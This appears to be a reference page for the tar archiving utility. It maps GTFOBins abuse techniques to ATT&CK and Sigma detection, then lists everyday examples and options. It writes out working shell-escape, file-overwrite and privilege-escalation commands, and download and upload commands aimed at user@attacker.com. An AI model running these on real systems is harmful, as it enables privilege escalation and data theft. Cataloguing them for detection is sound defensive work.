Identifier / Programs / Linux and Unix
tar
Archiving utility. Often combined with a compression method, such as gzip or bzip2. tldr-pages
GTFOBins download, file-read, file-write, shell, upload 1 Sigma rule name it 2 ATT&CK techniques 7 documented commands
How tar is abused
file-read
-IFilter through PROG to compress or PROG -d to decompress toyboxfile-write
--xformModify filenames via SED expression (ala s/find/replace/g) toyboxshell T1059.004 Command and Scripting Interpreter: Unix Shell
-IFilter through PROG to compress or PROG -d to decompress toybox-cCreate toyboxshell T1059.004 Command and Scripting Interpreter: Unix Shell
--to-commandupload
cvf
--rsh-commandEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for tar.
7 documented commands
download unprivileged, with sudo, as SUID
The attacker box must have the rmt utility installed.
tar xvf user@attacker.com:/path/to/input-file.tar --rsh-command=/bin/sshfile-read unprivileged, with sudo, as SUID
The file is read then passed to the specified command (e.g., tar xO) via standard input.
tar cf /dev/stdout /path/to/input-file -I 'tar xO'file-write unprivileged, with sudo, as SUID
The archive can also be prepared offline then uploaded to the target.
echo DATA >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar Pxf /path/to/temp-file.tar --xform s@.*@/path/to/output-file@shell unprivileged, with sudo, as SUID
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/shshell unprivileged, with sudo, as SUID
tar xf /dev/null -I '/bin/sh -c "/bin/sh 0<&2 1>&2"'shell unprivileged, with sudo, as SUID
The archive can also be prepared offline then uploaded to the target.
echo '/bin/sh 0<&1' >/path/to/temp-file
tar cf /path/to/temp-file.tar /path/to/temp-file
tar xf /path/to/temp-file.tar --to-command /bin/shupload unprivileged, with sudo, as SUID
The attacker box must have the rmt utility installed.
tar cvf user@attacker.com:/path/to/output-file /path/to/input-file --rsh-command=/bin/sshNone of the 7 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for tar. The identifier reads the line of each that runs tar.
What detects it
Everyday use
create an archive and write it to a file
tar cf path/to/target.tar path/to/file1 path/to/file2 ...Identify-cCreate toybox-ftar FILE (default -) toyboxcreate a gzipped archive and write it to a file
tar czf path/to/target.tar.gz path/to/file1 path/to/file2 ...Identify-cCreate toybox-zgzip compression toybox-ftar FILE (default -) toyboxcreate a gzipped (compressed) archive from a directory using relative paths
tar czf path/to/target.tar.gz --directory path/to/directory .Identify-cCreate toybox-zgzip compression toybox-ftar FILE (default -) toyboxNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.
Options
Show every option of tar
-cCreate-xExtract-tTest (list)-f NAMEtar FILE (default -)-C NAMEChange to DIR first-vVerbose display-Jxz compression-jbzip2 compression-zgzip compression-oIgnore owner-hFollow symlinks-mIgnore mtime-OExtract to stdout-X NAMEexclude names in FILE-T NAMEinclude names in FILE-sSort dirs (--sort)-Zzstd compression--excludeFILENAME to exclude--full-timeShow seconds with -tv--mode MODEAdjust permissions--owner NAME[:UID]Set file ownership--mtime TIMEOverride timestamps--group NAME[:GID]Set file group--sparseRecord sparse files--selinuxSave/restore labels--restrictAll under one dir--no-recursionSkip dir contents--numeric-ownerUse numeric uid/gid, not user/group names--nullFilenames in -T FILE are null-separated, not newline--strip-components NUMIgnore first NUM directory components when extracting--xform=SEDModify filenames via SED expression (ala s/find/replace/g)-I PROGFilter through PROG to compress or PROG -d to decompress--anchoredMatch name not path--ignore-caseCase insensitive--wildcardsExpand *?[] like shell